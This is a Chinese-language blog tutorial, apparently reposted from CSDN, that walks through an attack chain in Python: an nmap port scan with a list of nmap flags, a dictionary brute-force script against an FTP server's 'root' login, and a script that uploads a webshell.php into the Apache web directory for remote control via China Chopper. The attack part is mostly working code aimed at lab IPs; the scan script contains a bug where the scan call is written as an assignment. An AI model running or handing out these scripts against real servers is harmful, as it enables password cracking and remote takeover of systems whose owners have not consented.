python——利用nmap进行端口扫描,爆破ftp密码,上传wellshell.

一、端口扫描

首先安装nmap与python-nmap模块。从http://nmap.org/download.html网站下载nmap安装文件。从http://xael.org/norman/python/python-nmap网站下载python-nmap模块安装文件。

1.代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
import os
import nmap
import socket

nm = nmap.PortScanner()

nm.scan = ('192.168.139.128', '1-1024')

for host in nm.all_hosts():
    print('-------------------------')
    print('host : {0} ({1})'.format(host, nm[host].hostname()))
    print('State : {0}'.format(nm[host].state()))
    
    for proto in nm[host].all_protocols():
        print('--------------')
        print('Protocol : {0}'.format(proto))

        lport = list(nm[host][proto].keys())
        lport.sort()
        for port in lport:
            print('port : {0}\tstate : {1}'.format(port, nm[host][proto][port]))
    print('----------------------------')

端口扫描原理是黑客pc向服务器pc发送多种协议的数据包,观察服务器pc的响应行为。若服务器pc给黑客pc返回某类数据包则证明服务器pc开放支持这种协议的端口!出了用python代码调用nmap扫描端口外,你可以直接在命令行使用nmap,这样更方便快捷!
nmap命令及参数
nmap:

		-sS  半开扫描TCP和SYN扫描

		-sT  完全TCP链接扫描

		-sU  UDP扫描

		-PS  sym包探测(防火墙探测)

		-PA  ack包探测 (防火墙探测)

		-PN  不ping

		-n  不dns解析

		-A -O和-sV

		-O  操作系统识别

		-sV  服务器版本信息(banner)

		-P  端口扫描

		-T  设置时间级别(0-5)

		-iL  导入扫描将结果

		-oG  输出扫描结果

2.测试。

使用Windows对Linux主机进行端口扫描。
在这里插入图片描述
查看服务器操作系统。
在这里插入图片描述

二、爆破ftp密码。

通过端口扫描我们看出此服务器开放21端口用来支持ftp协议(文件传输协议),ftp服务后台设置中通常不会检查密码输错次数,所以我们可以使用python提供的ftplib模块,爆破ftp密码。假设用户名已知,实际大多数用户都会使用默认的root用户名!

1.代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTP

word = open('C:\Users\lenovo\Desktop\w.txt','r')
user_login = "root"

def getPassword(password):
    try:
        ftp = FTP("192.168.204.129")
        ftp.login(user_login,password)
        print("user password:",password)
        return True
    except Exception:
        return False
    
passwords = word.readlines()
for password in passwords:
    password = password.strip()
    print("test password:",password)
    if(getPassword(password)): 
        break
word.close()

首先需要创建一个w.txt字典文件,打开w.txt文件,声明getPassword()函数,用于连接FTP服务器,并尝试登录,使用root用户名和字典密码登录。若正常登录,则执行下一条语句,否则触发异常!再使用for循环遍历字典,调用getPassword()函数,若正常登录则返回True,结束循环!

2.测试。

爆破Linux ftp服务密码。
在这里插入图片描述

三、上传webshell。

使用爆破出来的密码登录ftp服务器,上传webshell。功能强大的webshell可以实现远程控制主机。

1.代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTP

apacheDir = "html"
serverName = '192.168.204.129'
serverID = 'root'
serverPW = 'toor'

ftp = FTP(serverName,serverID,serverPW)

ftp.cwd("/var/www/html/")

fp = open("C:\Users\lenovo\Desktop\webshell.php","rb")
ftp.storbinary("STOR webshell.php",fp)

fp.close()
ftp.quit()

首先登录ftp服务器,再转到web安装目录,然后打开webshell文件,最后使用ftp.storbinary(“STOR webshell.php”,fp)上传webshell文件到web安装目录!

2.测试。

运行代码上传文件
在这里插入图片描述
在服务器端进入web安装目录,可以看到webshell文件成功上传,然后使用中国菜刀连接。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_40909772/article/details/84201801
今日推荐